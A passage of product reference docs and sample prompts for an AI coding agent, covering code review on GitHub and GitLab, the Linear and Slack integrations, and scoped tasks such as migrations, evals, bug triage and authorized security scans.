An additional review that goes deeper than Code Review on security-specific risks by analyzing the PR diff, supporting repository context, and configured threat models or security guidance. Code Review can also surface security issues, so some overlap is expected. Set up: connect the repository, choose it in Codex settings, and under **Review security vulnerabilities** turn on **Auto security review**, choose whose pull requests are reviewed with **Review**, and set **Trigger** to **Whenever code review runs** to run alongside Code Review. Request manually with `@codex security review`; Codex reacts while it runs, then posts findings on the PR. Open the associated Codex task and select the **Security Report** tab for the full report. See security-review.md in the security category for details.
## Notes
- Act on review findings: reply `@codex fix the P1 issue`; Codex starts a legacy cloud chat with the pull request as context and can push a fix to the branch when it has permission. Any `@codex` mention other than `review` does the same (e.g. `@codex fix the CI failures`).
- Troubleshoot code review: confirm code review is turned on for the repository in Codex settings; the PR belongs to a GitHub repository connected to Codex; use the exact trigger `@codex review` in a pull request comment; for automatic reviews check **Automatic review** under the repository settings and **Personal preferences**, and confirm the pull request event matches your review trigger settings.
- Code review rules guide Codex; they do not replace tests, branch protections, or required approvals.
- This is the GitHub **pull request review** integration (Codex commenting on PRs); for running Codex inside a CI job see the Codex GitHub Action page.
## Related
- [Codex Cloud](../getting-started/cloud.md)
- [Codex GitHub Action](../security-automation/github-action.md)
- [Code review](./code-review.md)
references/third-party/gitlab.md
# Review GitLab merge requests with Codex
Codex code review posts a standard GitLab code review on merge requests, following repository guidance from `AGENTS.md`. GitLab support is in beta, available on all ChatGPT plans, and runs in Codex cloud.
## Signature / Usage
```md
# In a merge request comment
@codex review
# Focus a review
@codex review for issues in the database migration
# Act on findings (requires a configured project environment)
@codex fix the P1 issue
# Any other mention starts a legacy cloud chat with the MR as context
@codex fix the CI failures
```
## Set up
1. Connect a GitLab account. GitLab.com uses the standard connection flow in ChatGPT; self-managed or Dedicated GitLab requires a workspace-admin template to be published first, then each reviewer connects.
2. (Self-managed / Dedicated) In **Codex Cloud** -> **Settings** -> **Connectors**, a workspace admin either selects **Set up service account** -> **Create a service account**, or **Use an existing service account** and pastes a personal access token.
- Codex-created account: Developer access on **Selected groups** (inherited by projects and subgroups) or **Selected projects only**; token has the `api` scope.
- Existing account: grant Developer access only where Codex should operate; create a personal access token with the `api` scope and an expiration at least 30 days away. The token is encrypted when saved and never shown again.
- Codex cannot respond to GitLab activity until a valid token is configured.
3. Route GitLab activity to Codex:
- Project: in **Codex Cloud** -> **Settings** -> **Environments**, create a project environment and turn on **Enable Codex activity from GitLab** to install the project webhook (merge request, comment, and issue events). Needs Maintainer / Owner, administrator, or a custom role that can administer project webhooks. Required for Codex reviews on GitLab.com.
- Group (self-managed / Dedicated): **Environments** -> **GitLab activity** -> **Manage groups** installs a group webhook covering the group and its subgroups. The connected user must be a group Owner; requires GitLab Premium or Ultimate and GitLab 19.0 or newer. Group activity enables reviews but does not create project environments.
- Signed project and group webhooks require GitLab 19.0 or newer. On self-managed 19.0, confirm the `webhook_signing_token` feature flag is enabled (default on; removed in 19.1).
4. Configure review policies in Codex review settings (`chatgpt.com/settings/code-review?provider=gitlab`): choose the repository, turn on **Automatic review** under **Review code**, use **Review** to pick whose merge requests are reviewed and **Trigger** to pick when. Repository settings can override personal defaults.
## Options / Props
Automatic review triggers:
| Name | Type | Description |
|------|------|-------------|
| On MR open | trigger | Review when the merge request is opened |
| On every push | trigger | Review on every push to the merge request |
| Smart Trigger (Experimental) | trigger | Codex decides when to run |
## Customize review rules
Codex searches the repository for `AGENTS.md` files and follows the applicable `## Code Review Rules` section (use `###` headings to group checks). Root `AGENTS.md` holds repository-wide rules; a nested file such as `services/experiment_reporting/AGENTS.md` holds service-specific rules. Codex applies the root and more-specific guidance covering each changed file.
```md
## Code Review Rules
### Experiment cohorts
- Do not filter treatment comparisons on post-exposure behavior, including conversion or retention.
Safe path: build cohorts from assignment or exposure; report conversion as an outcome.
```
## Troubleshooting
If Codex does not react or post a review:
- Confirm the intended GitLab app is selected and, for project-specific setup, that the project has the intended Codex cloud environment.
- Confirm activity for the project or an ancestor group; in GitLab, check **Webhooks** -> **Recent events** for successful merge request and note deliveries.
- Self-managed / Dedicated: confirm the webhook is signed, SSL verification is enabled, the instance is on GitLab 19.0+, and repair hooks disabled automatically after failures.
- Self-managed / Dedicated: confirm the service-account personal access token is active with the `api` scope, and that the service account (not just the connected user) has Developer access to the project or a parent group.
- Confirm **Code review** or **Automatic reviews** is enabled and the MR matches the repository policy and trigger.
- Use `@codex review`.
## Notes
- Manually requested reviews can include P0, P1, and P2 findings; automatic reviews focus on P0 and P1.
- Codex reacts with an eyes emoji and then posts GitLab discussions and notes on the merge request.
- Fixing findings and other `@codex` tasks require a configured project environment; group activity alone supports reviews only. Codex starts a legacy cloud chat and can push a fix to the branch when it has permission.
- GitHub-style repository controls in the desktop app, such as **Create pull request**, are not included in this beta.
- Code review rules guide Codex; they do not replace tests, branch protections, or required approvals. Keep deterministic checks (formatting, lint) in CI.
- This is the GitLab merge request integration; see the GitHub page for pull requests.
- Source: https://learn.chatgpt.com/docs/third-party/gitlab (retrieved 2026-10).
## Related
- [Review GitHub pull requests with Codex](./github.md)
- [Code review](./code-review.md)
- [Codex cloud](../getting-started/cloud.md)
references/third-party/linear.md
# Use Codex in Linear
Delegate work from Linear issues: assign an issue to Codex or mention `@Codex` in a comment, and Codex creates a cloud chat and replies with progress and results. Available on paid plans.
## Signature / Usage
```md
# In a Linear issue comment thread
@Codex fix this in openai/codex
# CLI: connect Linear MCP for local access to issues
codex mcp add linear --url https://mcp.linear.app/mcp
```
```toml
# ~/.codex/config.toml (manual MCP setup)
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
```
## Set up the Linear integration
1. Set up [Codex cloud chats](../getting-started/cloud.md): connect GitHub in Codex and create an environment for the target repository.
2. Go to Codex settings (`chatgpt.com/codex/settings/connectors`) and install **Codex for Linear** for the workspace.
3. Link the Linear account by mentioning `@Codex` in a comment thread on a Linear issue.
4. Enterprise plans: a workspace admin must turn on Codex cloud chats and enable **Codex for Linear** in connector settings.
## Delegate work to Codex
- **Assign an issue to Codex** the same way issues are assigned to teammates; Codex starts work and posts updates back to the issue.
- **Mention `@Codex` in comments** to delegate work or ask questions; follow up in the thread to continue the same chat.
- Pin a specific repo by naming it in the comment, e.g. `@Codex fix this in openai/codex`.
- **Automatic assignment**: in Linear, Settings > team > Triage, turn on Triage and add a rule with **Delegate > Codex**. Codex then runs chats using the account of the issue creator.
### How Codex chooses an environment and repo
Linear suggests a repository from issue context; Codex picks the environment that best matches, falling back to the most recently used environment if ambiguous. The chat runs against the default branch of the first repository listed in that environment's repo map.
## Connect Linear for local work (MCP)
Use the CLI (recommended; the IDE extension and CLI share the same configuration): `codex mcp add linear --url https://mcp.linear.app/mcp` prompts you to sign in with your Linear account. To configure manually, add `[mcp_servers.linear]` with `url = "https://mcp.linear.app/mcp"` to `~/.codex/config.toml` and run `codex mcp login linear`.
## Notes
- Track progress: open **Activity** on the issue for progress updates, or open the chat link for detail; when Codex finishes it posts a summary and a link to the completed chat so you can create a pull request. Update the repo map in Codex if you need a different default or more repositories; if no suitable environment or repository is available, Codex replies in Linear with instructions to fix it before retrying.
- Tips and troubleshooting: missing connections (Codex replies in the issue with a link to connect your account); unexpected environment choice (reply in the thread, e.g. `@Codex please run this in openai/codex`); wrong part of the code (add more context or explicit instructions); Codex uses large language models that can make mistakes, so always review answers and diffs.
- Enterprise: ask your ChatGPT workspace admin to turn on Codex cloud chats in workspace settings and enable **Codex for Linear** in connector settings. Available on paid plans.
- `codex mcp add linear` / the `[mcp_servers.linear]` block here is Linear's own remote MCP server for **local** Codex (CLI/IDE/desktop app) access to issues — a specific server instance, distinct from the general MCP client configuration mechanism documented in `config/mcp-config.md`.
- Data handling for `@Codex` mentions follows OpenAI's Privacy Policy and Terms of Use; see the security-automation category for Codex's own security model.
## Related
- [Codex cloud](../getting-started/cloud.md)
- [MCP server configuration](../config/mcp-config.md)
- [Use Codex in Slack](./slack.md)
references/third-party/README.md
# Third-party
| Name | Description | Path |
|------|-------------|------|
| Code review | Use ChatGPT or Codex to understand code changes, investigate potential issues, and prepare review feedback: the Code Review plugin for pull requests, and the built-in `/review` command for local Git changes. | [code-review.md](./code-review.md) |
| Review GitHub pull requests with Codex | Use Codex code review to get another high-signal review pass on GitHub pull requests. Codex reviews the pull request diff, follows repository guidance from `AGENTS.md`, and posts a standard GitHub code review focused on serious issues. Security Review (research preview) provides a more in-depth review of potential security issues. | [github.md](./github.md) |
| Review GitLab merge requests with Codex | Codex code review posts a standard GitLab code review on merge requests, following repository guidance from `AGENTS.md`. GitLab support is in beta, available on all ChatGPT plans, and runs in Codex cloud. | [gitlab.md](./gitlab.md) |
| Use Codex in Linear | Delegate work from Linear issues: assign an issue to Codex or mention `@Codex` in a comment, and Codex creates a cloud chat and replies with progress and results. Available on paid plans. | [linear.md](./linear.md) |
| Use ChatGPT in Slack | Mention `@ChatGPT` in a Slack channel to start a request. If your workspace has Cloud delegation enabled, ChatGPT can send repository work to a separate Codex Cloud task and return the result to the thread. (Formerly `@Codex`; see "Move to the ChatGPT app".) | [slack.md](./slack.md) |
references/third-party/slack.md
# Use ChatGPT in Slack
Mention `@ChatGPT` in a Slack channel to start a request. If your workspace has Cloud delegation enabled, ChatGPT can send repository work to a separate Codex Cloud task and return the result to the thread. (Formerly `@Codex`; see "Move to the ChatGPT app".)
## Signature / Usage
```text
@ChatGPT investigate the failing checkout tests in acme/storefront and propose a fix.
```
Follow up in the same thread:
```text
@ChatGPT add a regression test for the fix and summarize the checks you ran.
```
## Set up the Slack app
A ChatGPT workspace owner or admin sets up the workspace's Slack deployment; available controls depend on the workspace's enabled features, and your Slack workspace's app policies also apply. If you don't see the controls, ask your admin whether Slack deployments are available. For admin setup, workspace connections, and access controls, see "Set up and manage @ChatGPT in Slack and Microsoft Teams" (a ChatGPT workspace admin page outside this skill's scope).
Cloud delegation must be available in your workspace and requires a published environment shared with the workspace; ask your admin to enable Codex Cloud for Slack. Where Codex Cloud role-based access control is enabled, both the deployment's service account and your account need Codex Cloud access.
### Connect your account when prompted
Workspace setup and your personal account connection are separate. If ChatGPT asks you to connect: (1) select the connection link in the Slack message and sign in if prompted; (2) connect Slack for the same workspace where you made the request; (3) return to the original thread and mention `@ChatGPT` to retry.
## Start a request
1. In a channel where the app is enabled, mention `@ChatGPT` and describe the result you want; for coding work include the repository and relevant context from the thread.
2. Complete any account-connection or approval prompts; review the requested work and access before you approve.
3. Continue related requests in the same thread, mentioning `@ChatGPT` again.
Use an enabled public or private channel in your workspace. Slack Connect channels shared with another organization aren't supported by this flow.
## Run repository work in Codex Cloud
Cloud delegation requires an eligible workspace-shared environment with a published version (for Enterprise, prepare and publish a tested setup and share it within the Enterprise workspace; see cloud-environments.md). Confirm the environment is available for the requested repository.
- **Environment selection**: ChatGPT selects from accessible workspace-shared Cloud environments and checks that you can access the environment before starting. Personal Cloud environments aren't included. Name the repository or shared environment in your request to help ChatGPT choose.
- **Separate coding task**: repository work runs in a separate task using your account; you need access to the selected environment and any repositories that require authentication.
- **Follow-up work**: related requests in the same Slack thread can continue the coding task and environment when they use the same account; a request using another account may start a separate coding task. Start a new conversation for a different environment.
Sharing an environment doesn't grant repository access or share your personal credential values; review its environment-owned values and prepared files before sharing. If no eligible shared environment is available, resolve the environment or access issue before retrying.
## Review approvals and results
When a request needs your authorization, ChatGPT can show a private approval card with **Allow** and **Deny** controls; review the assignment and any available environment choice first. ChatGPT can post a message in the original thread when the task starts; **Follow along** and **Cancel** controls (when available) appear for the requester, and Follow along opens the task (the channel reply doesn't give every channel member access to the underlying task). ChatGPT returns the result to the thread; review the answer, changes, and reported checks before using or merging it, and mention `@ChatGPT` to request a correction or follow-up.
## Notes
- Data usage, privacy, and security: a response posted to a Slack channel can be read by people with access to that channel (a private approval card doesn't make the resulting channel reply private). Keep secrets out of Slack prompts and use the environment's credential controls. Review Agent Security and the deployment access boundaries, and follow your workspace's data and app policies.
- Move to the ChatGPT app: if you previously used `@Codex`, start new requests with `@ChatGPT` after your admin enables the ChatGPT app, and follow any connection and approval prompts.
- Troubleshooting: no response (confirm ChatGPT is enabled for the channel, mention `@ChatGPT` explicitly, use a channel within your organization rather than Slack Connect); account connection requested again (check you connected to the Slack workspace where you're making the request, retry in the same thread); no eligible Cloud environment (check it is published and shared with the workspace and the running account has access; a personal environment won't appear); a coding task won't start (ask your admin to confirm Cloud delegation and Codex Cloud are enabled, check RBAC for the service account and your account, and your access to the environment and its repositories); different environment needed (start a new conversation and name the repository or shared environment); task controls unavailable (they depend on the deployment configuration and are for the requester); long threads (summarize the issue, expected outcome, and repository in your latest request).
- Distinct from the GitHub Action / non-interactive automation surfaces: this integration is triggered by chat mentions, not CI events.
## Related
- [Codex Cloud](../getting-started/cloud.md)
- [Cloud environments](../environments/cloud-environments.md)
- [Use Codex in Linear](./linear.md)
samples/agent-friendly-clis.md
# Create a CLI Codex can use
Give Codex a composable command for an API, log source, export, or team script.
```text
Use $cli-creator to create a CLI you can use, and use $skill-creator to create the companion skill in this same chat.
Source to learn from: [docs URL, OpenAPI spec, redacted curl command, existing script path, log folder, CSV or JSON export, SQLite database path, or pasted --help output].
First job the CLI should support: [download failed CI logs from a build URL, search support tickets and read one by ID, query an admin API, read a local database, or run one step from an existing script].
Optional write job: [create a draft comment, upload media, retry a failed job, or read-only for now].
Command name: [cli-name, or recommend one].
Before coding, show me the proposed command surface and ask only for missing details that would block the build.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `$cli-creator` designs the command surface, installs the command on PATH, and verifies it from another folder
- The companion skill built with `$skill-creator` teaches future Codex tasks which CLI commands to run first and which write actions require approval
- Best for: repeated work against the same service, export, or repo script; agent tools needing paged search, exact reads by ID, or draft-before-write commands
samples/ai-app-evals.md
# Add evals to your AI application
Use Codex to turn expected behavior into a Promptfoo eval suite.
```text
Use $promptfoo-evals to add a Promptfoo eval suite for this AI application. If there is not already a working Promptfoo provider or target adapter, use $promptfoo-provider-setup first.
Behavior to evaluate: [support answer quality / tool-call correctness / retrieval grounding / business rules / agent task completion]
Before editing:
- Inspect the app path users hit and any existing evals or tests.
- Propose the smallest useful eval plan: target adapter, seed cases, assertions, files, commands, and required env vars or local services.
- Do not change production prompts, model settings, or app behavior until the baseline eval exists and has been run.
Requirements:
- Exercise the application path users hit when possible, not only the raw model prompt.
- Keep fixtures free of secrets, customer data, and sensitive personal data.
- Add a local eval command such as `npm run evals` or document the exact command to run.
Finish with:
- Files changed
- Eval commands run
- Passing and failing cases
- Recommended next evals to add
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: medium`. Uses the Promptfoo plugin (`$promptfoo-evals` / `$promptfoo-provider-setup`)
- Best for: AI applications with prompts, model calls, tools, retrieval, or agents but no repeatable eval suite; regression tests before a model/prompt/retrieval change merges
samples/automation-bug-triage.md
# Automate bug triage
Turn daily bug reports into a prioritized list, then automate the sweep.
```text
Run a bug triage sweep for [repo/service/team] covering the last [time window].
Use these plugins: [@Sentry / @Slack / @Linear / @GitHub / none]
Input sources:
- Sentry: [project / alert link / none]
- Slack: [channel / thread links / none]
- Linear: [team / project / view / issue query / none]
- GitHub: [repo / issue query / PR checks / none]
- Other: [logs / support tickets / deploy link / dashboard / attached file / none]
Output format:
First, name any input source you could not access.
Then return a prioritized list of bugs, sorted from P0 to P3.
If you find no bugs, say: No qualifying bugs found.
For each bug, include:
- Priority: P0, P1, P2, or P3
- Title
- Evidence (links or short citations)
- Recommended next action
Rules:
- Do not post, create, assign, label, close, rerun, or edit anything.
- Group duplicate reports under one bug.
- Keep observed evidence separate from guesses.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). Uses the GitHub, `$sentry`, Slack, and Linear plugins to sweep bug sources
- A manual, one-shot triage chat can graduate into a Scheduled task (https://learn.chatgpt.com/codex/automations) for recurring runs
- For internal sources with no existing plugin, use Codex MCP (https://learn.chatgpt.com/codex/extend/mcp) to wire up a small MCP server or CLI
samples/code-migrations.md
# Run code migrations
Migrate legacy stacks in controlled checkpoints.
```text
Migrate this codebase from [legacy stack or system] to [target stack or system].
Requirements:
- Start by inventorying the legacy assumptions: routing, data models, auth, configuration, build tooling, tests, deployment, and external contracts.
- Map the old stack to the new one and call out anything that has no direct equivalent.
- Propose an incremental migration plan with compatibility layers or checkpoints instead of one big rewrite.
- Keep behavior unchanged unless the migration explicitly requires a user-visible change.
- Work in milestones and run lint, type-check, and focused tests after each milestone.
- Keep rollback or fallback options visible until the transition is complete.
- If validation fails, fix it before continuing.
- Start by mapping the migration surface and proposing the checkpoint plan.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedModel: gpt-6-astra`, `suggestedEffort: medium`. Can be paired with `$security-best-practices`, `$gh-fix-ci`, and framework-specific skills such as `$aspnet-core`
- Best for: legacy-to-modern stack moves where frameworks, runtimes, build systems, or platform conventions change; teams needing compatibility layers and checkpoint validation
- Combine with Follow a goal (`follow-goals.md`) and Git worktrees (https://learn.chatgpt.com/codex/environments/git-worktrees) for long-running, milestone-based execution
samples/codebase-onboarding.md
# Understand large codebases
Trace request flows, map unfamiliar modules, and find the right files fast.
```text
Explain how the request flows through <name of the system area> in the codebase.
Include:
- which modules own what
- where data is validated
- the top gotchas to watch for before making changes
End with the files I should read next.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: medium`
- Best for: new engineers onboarding to a repo or service, anyone trying to understand how a feature works before changing it
- Related: ChatGPT desktop app (https://learn.chatgpt.com/codex/app)
samples/deep-security-scan.md
# Run a deep security scan
Search an authorized repository deeply for plausible vulnerabilities.
```text
Use $codex-security:deep-security-scan to run a deep security scan on [this repository / absolute path to a scoped folder].
Scope and rules:
- I am authorized to assess this repository.
- Keep the scan within [the entire repository / the exact folder named above].
- Use the Codex Security plugin's deep-scan workflow; do not reinterpret this as a pull request or diff review.
Return the scan directory and report.md path. Summarize the findings, reviewed surfaces, structural hardening guidance, and proof gaps that require human review first.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: high`. Uses the `$codex-security:deep-security-scan` skill
- Best for: application security reviews of an owned or authorized repository/component; more comprehensive reviews where extra runtime and token cost are acceptable
- For diff-level reviews, use Scan code changes for security (`scan-code-changes-for-security.md`); to fix found issues, use Remediate a vulnerability backlog (`remediate-vulnerability-backlog.md`)
samples/dependency-incident-audits.md
# Audit dependency incidents
Turn a public package advisory into a safe repo-audit plan.
```text
Help me audit this repository for exposure to this public package advisory: [advisory URL].
Stay read-only unless I explicitly approve a remediation step.
First, summarize:
- affected packages and version ranges
- authoritative sources versus broader reports
- what evidence would prove exposure in this repo
- what evidence would rule it out
Then inspect:
- package manifests and lock files
- CI workflows and permissions
- install, build, and postinstall scripts
- vendored artifacts, containers, or generated bundles if relevant
- cache or token exposure paths if the advisory involves CI or publishing
Return:
- evidence status: confirmed exposure, needs verification, or ruled out
- severity and blast-radius notes
- file references for every repo-specific claim
- caveats and recommended next steps
Do not install packages, run lifecycle scripts, build the project, execute untrusted code, rotate credentials, or clean up files unless I explicitly approve that step.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: high`. The GitHub plugin inspects repository files, pull requests, workflows, and security-relevant history
- Best for: engineering and security teams responding to public package or supply chain advisories; incident reviews that must gather evidence without installing packages or running untrusted code
samples/follow-goals.md
# Follow a goal
Give Codex a durable objective for long-running work.
```text
/goal Complete [objective] without stopping until [verifiable end state].
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). Maps to the CLI slash command `/goal`, controlled with `/goal pause`, `/goal resume`, and `/goal clear`
- Best for: code migrations with a target spec, large refactors backed by tests, prototypes/games with measurable success criteria
- A strong goal states: one objective and stopping condition, files/docs to consult, commands that validate progress, checkpoint-based work
- Related: Run code migrations (`code-migrations.md`)
samples/github-code-reviews.md
# Review GitHub pull requests
Catch regressions and potential issues before human review.
```text
@codex review for security regressions, missing tests, and risky behavior changes.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedModel: cloud`. Triggered by mentioning `@codex` on a GitHub pull request
- The `$security-best-practices` skill can narrow the review to risky surfaces such as secrets, auth, and dependency changes
- Best for: teams that want another review signal before human merge approval, large production codebases
- Related: Custom instructions with AGENTS.md (https://learn.chatgpt.com/codex/agent-configuration/agents-md), Scan code changes for security (`scan-code-changes-for-security.md`)
samples/ios-simulator-bug-debugging.md
# Debug in iOS simulator
Use Codex and XcodeBuildMCP to drive your app in iOS Simulator, capture evidence, and iterate toward a fix.
```text
Use the Build iOS Apps plugin and XcodeBuildMCP to reproduce this bug directly in Simulator, diagnose the root cause, and implement a small fix.
Bug report:
[Describe the expected behavior, the actual bug, and any known screen or account setup.]
Constraints:
- First check whether a project, scheme, and simulator are already selected. If not, discover the right Xcode project or workspace, pick the app scheme, choose a simulator, and reuse that setup for the rest of the session.
- Build and launch the app in Simulator, then confirm the right screen is visible with a UI snapshot or screenshot before you start interacting with it.
- Drive the exact reproduction path yourself by tapping, typing, scrolling, and swiping in the simulator. Prefer accessibility labels or IDs over raw coordinates, and re-read the UI hierarchy before the next action when the layout changes.
- Capture evidence while you debug: screenshots for visual state, simulator logs around the failure, and LLDB stack frames or variables if the bug looks like a crash or hang.
- If the simulator is not already booted, boot one and tell me which device and OS you chose. If credentials or a special fixture are required, pause and ask only for that missing input.
- Make the smallest code change that addresses the bug, then rerun the simulator flow and tell me exactly how you verified the fix.
Deliver:
- the reproduction steps Codex executed
- the key screenshots, logs, or stack details that explained the bug
- the code fix and why it works
- the simulator and scheme used for final verification
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). The Build iOS Apps plugin provides an iOS debugger agent that drives simulator setup, build/launch, UI snapshots, taps, gestures, screenshots, log capture, and debugger attachment via XcodeBuildMCP
- Best for: UI bugs reproducible only after a specific tap/scroll/form path; crashes or hangs needing logs, screenshots, view hierarchy state, and a debugger backtrace before editing code
- Observability relies on `Logger`, `OSLog`, LLDB, and Simulator screenshots
samples/README.md
# samples
| Name | Description | Path |
| --- | --- | --- |
| Create a CLI Codex can use | Give Codex a composable command for an API, log source, export, or team script. | [agent-friendly-clis.md](./agent-friendly-clis.md) |
| Add evals to your AI application | Use Codex to turn expected behavior into a Promptfoo eval suite. | [ai-app-evals.md](./ai-app-evals.md) |
| Automate bug triage | Turn daily bug reports into a prioritized list, then automate the sweep. | [automation-bug-triage.md](./automation-bug-triage.md) |
| Run code migrations | Migrate legacy stacks in controlled checkpoints. | [code-migrations.md](./code-migrations.md) |
| Understand large codebases | Trace request flows, map unfamiliar modules, and find the right files fast. | [codebase-onboarding.md](./codebase-onboarding.md) |
| Run a deep security scan | Search an authorized repository deeply for plausible vulnerabilities. | [deep-security-scan.md](./deep-security-scan.md) |
| Audit dependency incidents | Turn a public package advisory into a safe repo-audit plan. | [dependency-incident-audits.md](./dependency-incident-audits.md) |
| Follow a goal | Give Codex a durable objective for long-running work. | [follow-goals.md](./follow-goals.md) |
| Review GitHub pull requests | Catch regressions and potential issues before human review. | [github-code-reviews.md](./github-code-reviews.md) |
| Debug in iOS simulator | Use Codex and XcodeBuildMCP to drive your app in iOS Simulator, capture evidence, and iterate toward a fix. | [ios-simulator-bug-debugging.md](./ios-simulator-bug-debugging.md) |
| Refactor your codebase | Remove dead code and modernize legacy patterns without changing behavior. | [refactor-your-codebase.md](./refactor-your-codebase.md) |
| Remediate a vulnerability backlog | Turn reviewed findings into minimal fixes with regression evidence. | [remediate-vulnerability-backlog.md](./remediate-vulnerability-backlog.md) |
| Save workflows as skills | Create a skill Codex can keep on hand for work you repeat. | [reusable-codex-skills.md](./reusable-codex-skills.md) |
| Scan code changes for security | Review a pull request or local diff for security regressions. | [scan-code-changes-for-security.md](./scan-code-changes-for-security.md) |
| Kick off coding tasks from Slack | Delegate repository work from Slack threads. | [slack-coding-tasks.md](./slack-coding-tasks.md) |
| Keep documentation up-to-date | Use code and other sources to automate docs updates. | [update-documentation.md](./update-documentation.md) |
| Run verified operations | Run repeatable workflows and verify the result. | [verified-operations-workflows.md](./verified-operations-workflows.md) |
samples/refactor-your-codebase.md
# Refactor your codebase
Remove dead code and modernize legacy patterns without changing behavior.
```text
Modernize and refactor this codebase.
Requirements:
- Preserve behavior unless I explicitly ask for a functional change.
- Start by identifying dead code, duplicated paths, oversized modules, stale abstractions, and legacy patterns that are slowing changes down.
- For each proposed pass, name the current behavior, the structural improvement, and the validation check that should prove behavior stayed stable.
- Break the work into small reviewable refactor passes such as deleting dead code, simplifying control flow, extracting helpers, or replacing outdated patterns with the repo's current conventions.
- Keep public APIs stable unless a change is required by the refactor.
- Call out any framework migration, dependency upgrade, API change, or architecture move that should be split into a separate migration task.
- If the work is broad, propose the docs, specs, and parity checks we should create before implementation.
Propose a plan to do this.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). Can be paired with the `$security-best-practices` and `$skill-creator` skills
- Best for: codebases with dead code, oversized modules, or duplicated logic that need modernizing in place rather than a full stack migration
- Split framework or stack migrations into a separate pass: see Run code migrations (`code-migrations.md`)
samples/remediate-vulnerability-backlog.md
# Remediate a vulnerability backlog
Turn reviewed findings into minimal fixes with regression evidence.
```text
Use $codex-security:fix-finding to fix this security finding and verify the issue no longer reproduces.
Source: [Codex Security report / Linear or Jira ticket / GitHub Security Advisory / HackerOne or Bugcrowd report / other authorized source]
Title and affected component: [finding title and component]
Vulnerable source, sink, or broken control: [known path or unknown]
Attacker-controlled input and impact: [input, prerequisites, and impact]
Expected security invariant: [behavior the fix must enforce]
Existing proof: [report path, PoC, reproducer, test, or validation notes]
Affected files and lines: [paths and lines, or unknown]
Constraints: [supported behavior to preserve, test command, rollout requirement, or none]
Requirements:
- Confirm that the issue still exists before changing code when feasible.
- Make the smallest change that enforces the intended security invariant.
- Add focused regression coverage or the strongest repeatable validation artifact available.
- Verify legitimate behavior still works and the original issue no longer reproduces.
- Keep unrelated backlog findings and refactors out of this change.
Report the changed files, tests or validation artifacts, exact commands and results, proof that the original issue no longer reproduces, and remaining uncertainty. If the issue is already fixed, show the evidence and do not change code.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: high`. Uses the `$codex-security:fix-finding` skill
- Best for: teams with reviewed findings from Codex Security, Linear/Jira, GitHub Security Advisories, HackerOne/Bugcrowd, or penetration tests; backlogs needing minimal diffs and repeatable validation
- Related: Run a deep security scan (`deep-security-scan.md`), Scan code changes for security (`scan-code-changes-for-security.md`)
samples/reusable-codex-skills.md
# Save workflows as skills
Create a skill Codex can keep on hand for work you repeat.
```text
Use $skill-creator to create a Codex skill that [fixes failing Buildkite checks on a GitHub PR / turns PR notes into inline review comments / writes our release notes from merged PRs]
Use these sources when creating the skill:
- Working example: [say "use this chat," link a merged PR, or paste a good Codex answer]
- Source: [paste a Slack thread, PR review link, runbook URL, docs URL, or ticket]
- Repo: [repo path, if this skill depends on one repo]
- Scripts or commands to reuse: [test command], [preview command], [log-fetch script], [release command]
- Good output: [paste the Slack update, changelog entry, review comment, ticket, or final answer you want future tasks to match]
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). The `$skill-creator` system skill gathers context, scaffolds the skill, and validates the result
- Best for: workflows worth codifying, teams that want a reusable skill instead of pasting a long prompt into every chat
- Related: Agent skills (https://learn.chatgpt.com/codex/build-skills)
samples/scan-code-changes-for-security.md
# Scan code changes for security
Review a pull request or local diff for security regressions.
```text
Use $codex-security:security-diff-scan to review this PR, commit, branch diff, or working-tree patch for security regressions.
Scope and rules:
- Target: [this pull request / commit SHA / branch diff from BASE to HEAD / the current working-tree patch]
- I am authorized to assess this repository and change set.
- Pay particular attention to [auth, input handling, secrets, filesystem, network, dependencies, or other sensitive surface].
Return the final Markdown report and inline code comments for findings that require human review.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedEffort: high`. Uses the `$codex-security:security-diff-scan` skill
- Best for: pull requests touching authentication, authorization, parsing, file access, secrets, or privileged workflows; a security-focused check before merge
- Related: Review GitHub pull requests (`github-code-reviews.md`), Agent approvals and security (https://learn.chatgpt.com/codex/agent-approvals-security)
samples/slack-coding-tasks.md
# Kick off coding tasks from Slack
Delegate repository work from Slack threads.
```text
@ChatGPT investigate the issue described in this thread for [repository].
Use the workspace-shared Cloud environment for [project or environment].
Make the smallest useful fix, run the relevant checks, and report the result here.
```
## Notes
- Source: OpenAI Codex use-case (https://learn.chatgpt.com/use-cases/slack-coding-tasks). `suggestedModel: cloud`. Requires the ChatGPT app enabled in Slack by a workspace admin, Cloud delegation enabled, and an eligible workspace-shared Cloud environment that has a published version
- Personal Cloud environments are not included in this Slack flow. The account running the task needs the required environment, repository, and service access
- Best for: async handoffs with enough context in the Slack thread to act on, issue triage, bug fixes, or scoped implementation work from Slack
- Related: Use ChatGPT in Slack (https://learn.chatgpt.com/codex/third-party/slack), Codex Cloud environments (https://learn.chatgpt.com/codex/environments/cloud-environments)
samples/update-documentation.md
# Keep documentation up-to-date
Use code and other sources to automate docs updates.
```text
Update the [product/feature] documentation based on the following sources:
- the changed source files in [this repo/source linked repo]
- the existing docs pages that mention a new behavior
- any linked issue, PR, release note, or public reference I provide below
Then:
- identify what is user-facing
- update only the docs that need to change
- keep unpublished roadmap, private customer details, and internal-only context out of public docs
- preserve the existing docs structure, terminology, and cross-links
- run the docs checks that fit the change
Before finalizing, summarize what changed, what you verified, and any claims you could not prove from trusted sources.
[link release notes or other references here]
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). The GitHub plugin can read issues, pull requests, review threads, and failed checks as source context
- Best for: developer docs, READMEs, runbooks, examples, and migration notes that need to track frequently changing behavior
samples/verified-operations-workflows.md
# Run verified operations
